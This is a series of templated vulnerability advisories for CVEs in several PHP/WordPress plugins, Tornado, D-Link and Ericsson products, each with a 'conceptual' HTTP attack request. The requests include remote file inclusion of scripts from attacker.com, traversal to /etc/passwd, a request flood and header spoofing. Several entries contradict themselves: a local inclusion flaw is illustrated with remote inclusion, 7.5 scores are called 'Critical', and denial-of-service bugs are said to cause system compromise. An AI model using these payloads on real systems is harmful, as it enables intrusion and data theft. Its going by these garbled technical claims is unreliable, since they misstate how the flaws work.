Author: Ameeba

Overview

The CVE-2025-48136 vulnerability is a significant cybersecurity risk that affects Estatik Mortgage Calculator, a PHP-based application. This vulnerability is associated with the PHP Remote File Inclusion (‘PHP RFI’), which is a major security concern for web applications. The vulnerability can lead to system compromise or data leakage, making it a critical issue that requires immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-48136
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System Compromise and Data Leakage

Affected Products

Product | Affected Versions

Estatik Mortgage Calculator | All versions through 2.0.12

How the Exploit Works

The CVE-2025-48136 exploit works by leveraging a flaw in the handling of filenames for include/require statement in the PHP application. An attacker can manipulate the filename parameter in the PHP script to include a remote file. This opens the possibility for the attacker to execute arbitrary code on the server, leading to a potential system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using an HTTP request to manipulate the ‘filename’ parameter:

GET /Estatik_Mortgage_Calculator.php?filename=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.com

In this example, the ‘filename’ parameter is modified to include a remote file (‘malicious_script.txt’) from an attacker-controlled server. This remote file may contain malicious PHP code that, when executed, can compromise the target system.

Mitigation Guidance

Users of Estatik Mortgage Calculator are advised to apply the vendor patch as soon as it becomes available. In the meantime, users can deploy a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation to prevent potential attacks exploiting this vulnerability. Regular monitoring and updating of systems are also important in maintaining a secure environment.

Overview

This review discusses the critical vulnerability CVE-2025-47693, which affects the FAT Services Booking system. The issue arises due to the improper control of filename for Include/Require Statement in the PHP program, allowing PHP Local File Inclusion. This vulnerability is a potential threat to all systems running FAT Services Booking versions through 5.5, leading to possible system compromises or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47693
Severity: Critical, CVSS score 7.5
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

FAT Services Booking | Up to and including 5.5

How the Exploit Works

This vulnerability is due to the PHP program’s improper control of filename for Include/Require Statement. This lack of proper control allows an attacker to manipulate the PHP file include process, leading to the inclusion of local files. An attacker could exploit this vulnerability by sending a crafted request to the affected application. Successful exploitation could lead to unauthorized read access to potentially sensitive data, which could be used to conduct further attacks.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using a malicious HTTP request:

GET /index.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: target.example.com

In this example, the attacker tries to include ‘malicious_file.txt’ hosted on their server. If successful, the server will execute the malicious code contained in ‘malicious_file.txt’.

Mitigation Guidance

Affected systems should apply the vendor-provided patches at their earliest convenience. If unable, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. However, these measures are not a complete solution and only serve to reduce the risk of potential attacks. The definitive solution is to apply the patch as soon as it becomes available.

Overview

A high-severity vulnerability, CVE-2025-39507, has been identified in NasaTheme’s Nasa Core. The PHP Remote File Inclusion vulnerability, which holds a CVSS Severity Score of 7.5, exposes the system to potential compromise and data leakage. Anyone using Nasa Core versions through 6.3.2 is at risk and should take immediate action to mitigate the threat.

Vulnerability Summary

CVE ID: CVE-2025-39507
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Possible system compromise and data leakage

Affected Products

Product | Affected Versions

NasaTheme Nasa Core | n/a through 6.3.2

How the Exploit Works

The vulnerability originates from an improper control of a filename that is used in a PHP ‘include’ or ‘require’ statement. An attacker can manipulate the filename, leading to the PHP Local File Inclusion (LFI). This allows an attacker to include and execute arbitrary local files within the server context, which can lead to unauthorized system access, data leakage, and potentially full system compromise.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This example represents a malicious HTTP request:

GET /index.php?page=../../../../../etc/passwd HTTP/1.1
Host: vulnerable-website.com

In this example, the attacker is attempting to traverse the directory to read the ‘/etc/passwd’ file, which is a common target in LFI attacks due to its potential to contain sensitive user information.

Mitigation and Recommendations

Users are advised to apply the patch provided by the vendor immediately. In the absence of a patch, or until one can be applied, it’s recommended to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure to detect and block exploit attempts.

Overview

A significant security vulnerability, designated as CVE-2025-39492, has been identified in the popular hosting management software, WHMpress. This vulnerability, a form of Path Traversal, allows for Relative Path Traversal from versions 6.2 through revision. The exploit carries the potential for malicious actors to compromise systems or leak sensitive data. Given the widespread use of WHMpress, the implications of this vulnerability are substantial.

Vulnerability Summary

CVE ID: CVE-2025-39492
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

WHMpress | 6.2 through revision

How the Exploit Works

The exploit works by the attacker sending specially crafted input to the WHMpress application. This input, which involves a relative path, is not properly sanitized by the software, allowing the attacker to traverse directories outside of the intended boundary. This could potentially give the attacker access to sensitive system files and data.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited, using an HTTP request:

GET /WHMpresspage?file=../../etc/passwd HTTP/1.1
Host: target.example.com

In this example, the attacker is attempting to access a sensitive system file (the Unix password file) via relative path traversal by moving up two directory levels from the expected context.

Mitigation

To mitigate this high-risk Path Traversal vulnerability, users are strongly recommended to apply the vendor’s patches as soon as they become available. In the interim, utilizing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by detecting and potentially blocking attempts to exploit this vulnerability. Regularly review and update security protocols to ensure the best possible defense against potential threats.

Overview

This report provides details on a significant vulnerability in the Ericsson Packet Core Controller (PCC). The vulnerability, assigned CVE-2024-53827, could allow an attacker to cause service degradation by sending a large volume of specially crafted messages. It is particularly concerning due to the potential for system compromise or data leakage, and hence demands immediate attention from all entities employing the affected Ericsson PCC system.

Vulnerability Summary

CVE ID: CVE-2024-53827
Severity: High, CVSS score 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Service Degradation, Potential System Compromise, Data Leakage

Affected Products

Product | Affected Versions

Ericsson Packet Core Controller (PCC) | All versions prior to the latest patch

How the Exploit Works

An attacker exploits this vulnerability by sending a large volume of specially crafted messages to a target system running the vulnerable versions of Ericsson PCC. These messages can cause high resource consumption on the target system, leading to service degradation. If successfully exploited, this vulnerability could lead to system compromise and potential data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This pseudocode represents the sending of a large volume of crafted messages to the target.

for i in range(1,1000000):
POST /target_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "message": "specially_crafted_message_" + str(i) }

Mitigation Guidance

Until a patch is released by the vendor, it is recommended to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can be configured to identify and block the large volume of crafted messages associated with this exploit. Once the vendor patch is available, it should be applied immediately to all affected systems to remediate this vulnerability.

Overview

This report focuses on a critical vulnerability found in D-Link DI-7003GV2 24.04.18D1 R(68125), identified as CVE-2025-4749. The vulnerability affects the Factory Reset Handler function, resulting in a denial of service. This problem is significant because the exploit is public, making the affected systems vulnerable to potential compromise and data leakage if not promptly addressed.

Vulnerability Summary

CVE ID: CVE-2025-4749
Severity: Critical, CVSS score 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of service leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

D-Link DI-7003GV2 | 24.04.18D1 R(68125)

How the Exploit Works

The vulnerability resides in the Factory Reset Handler function of the file /H5/backup.asp?opt=reset. A malicious actor can manipulate this function to trigger a denial of service remotely. The exploit has been disclosed to the public, increasing the risk for systems running the affected version of D-Link DI-7003GV2.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This is a hypothetical HTTP request that might be used to trigger the vulnerability:

GET /H5/backup.asp?opt=reset HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
{ "manipulated_payload": "..." }

Mitigation and Recommendations

Users of D-Link DI-7003GV2 are advised to apply the vendor’s patch to correct this vulnerability. If the patch cannot be promptly applied, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure. However, these are not long-term solutions and do not address the underlying issue. Therefore, applying the vendor’s patch must remain a priority.

Overview

CVE-2025-47287 is a high-risk vulnerability that affects the Tornado Python web framework and asynchronous networking library. The flaw lies in Tornado’s multipart/form-data parser, which can be manipulated by remote attackers to generate an extraordinarily high volume of logs, leading to a Denial-of-Service (DoS) attack. All versions of Tornado prior to 6.5.0 are susceptible to this vulnerability.

Vulnerability Summary

CVE ID: CVE-2025-47287
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tornado Python Web Framework | All versions prior to 6.5.0

How the Exploit Works

The vulnerability stems from a weakness in Tornado’s multipart/form-data parser. When the parser encounters certain errors, it logs a warning but continues to parse the remaining data. This behavior can be exploited by remote attackers who can send malformed multipart/form-data requests at a high frequency to generate an enormous volume of logs, leading to a DoS attack. The impact of the attack is compounded by the fact that the logging subsystem is synchronous.

Conceptual Example Code

The following HTTP request could potentially exploit the vulnerability:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data
--boundary
Content-Disposition: form-data; name="file"; filename="malicious.txt"
Content-Type: text/plain
{ "malicious_payload": "..." }
--boundary--

In this example, the attacker sends a malformed multipart/form-data request with a malicious payload to the vulnerable endpoint. The server, upon receiving the request, logs a warning and continues to parse the remaining data, causing the log files to grow exponentially and eventually leading to a DoS attack.

Overview

CVE-2024-12812 is a cybersecurity vulnerability in the WP ERP WordPress plugin, specifically affecting versions before 1.13.4. This vulnerability could allow an attacker, who is an employee, to manipulate parameters and gain unauthorized access to sensitive data of terminated employees, potentially leading to system compromise or data leakage. Given the wide use of this plugin for HR management, this vulnerability could have serious implications for businesses and organizations if not promptly addressed.

Vulnerability Summary

CVE ID: CVE-2024-12812
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Unauthorized access to sensitive employee data, potential system compromise or data leakage

Affected Products

Product | Affected Versions

WP ERP WordPress Plugin | versions before 1.13.4

How the Exploit Works

The exploit takes advantage of a flaw in the WP ERP plugin’s parameter handling. An attacker, who is an employee, can manipulate parameters to gain unauthorized access to sensitive data of terminated employees. This could lead to potential system compromise or data leakage if the exposed data includes login credentials or other sensitive information.

Conceptual Example Code

A theoretical exploit might involve sending a malicious HTTP request, such as:

GET /erp-api/employees/terminated/id HTTP/1.1
Host: target.example.com
Authorization: Bearer {employee_token}
{ "id": "terminated_employee_id" }

In this example, `terminated_employee_id` would be the ID of a terminated employee, and `employee_token` would be the token of an active employee. This could potentially return sensitive data of the terminated employee.

Mitigation Guidance

To mitigate this vulnerability, users are advised to upgrade the WP ERP WordPress plugin to version 1.13.4 or later. If this is not immediately possible, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure to detect and block attempts to exploit this vulnerability.

Overview

The CVE-2024-12767 represents a significant vulnerability in the buddyboss-platform WordPress plugin. This flaw allows logged-in users to view comments on private posts, leading to potential system compromise or data leakage. It affects versions of the plugin before 2.7.60. This vulnerability is incredibly serious due to the high volume of sensitive data that could be exploited on WordPress websites, which are widely used for various businesses and personal blogs.

Vulnerability Summary

CVE ID: CVE-2024-12767
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low (logged-in user)
User Interaction: Required
Impact: Unauthorized access to private comments, potential system compromise, and data leakage.

Affected Products

Product | Affected Versions

buddyboss-platform WordPress plugin | Before 2.7.60

How the Exploit Works

The exploit works by taking advantage of improper access controls in the buddyboss-platform WordPress plugin. A malicious logged-in user can manipulate the system to view comments on private posts, which are ordinarily inaccessible. This flaw provides the attacker with unauthorized access to sensitive information, which could lead to further exploitation of the system.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP GET request to a private post’s comments section:

GET /private-post-id/comments HTTP/1.1
Host: target.example.com
Cookie: user_session=valid_logged_in_session_cookie

The above request, when made by a logged-in user, could potentially expose comments related to a private post due to the improper access controls in place.

Mitigation Guidance

To mitigate this vulnerability, users are urged to apply the vendor patch immediately. In the absence of a patch, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. This will help protect against unauthorized access to private posts’ comments until a permanent solution is implemented.

Overview

The User Activity Tracking and Log WordPress plugin, prior to version 4.1.4, has a critical vulnerability wherein clients’ IP addresses can be manipulated due to the retrieval of these addresses from potentially untrusted headers. This vulnerability affects any website utilizing this WordPress plugin, potentially compromising system security and leading to data leakage. It is essential to address this issue promptly to prevent exploitations.

Vulnerability Summary

CVE ID: CVE-2024-0970
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

User Activity Tracking and Log WordPress Plugin | Before 4.1.4

How the Exploit Works

The exploit works by an attacker manipulating the client’s IP address. This is possible because the plugin retrieves IP addresses from untrusted headers, which can be tampered with. An attacker can use a manipulated IP address to mask malicious activity, gain unauthorized access, or leak sensitive data from the system.

Conceptual Example Code

An example of a potential attack using this vulnerability might look something like this:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example.com
X-Forwarded-For: [Attacker's IP]
{ "action": "uat_track", "target": "admin", "malicious_payload": "..." }

In this scenario, the attacker uses the X-Forwarded-For header to inject a manipulated IP address and send a malicious payload via the ‘uat_track’ action.

Mitigation Guidance

To mitigate this vulnerability, users are advised to update the User Activity Tracking and Log WordPress plugin to version 4.1.4 or later, as this version addresses the vulnerability. In cases where an immediate update cannot be implemented, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these measures do not fully resolve the issue and are not substitutes for applying the vendor patch.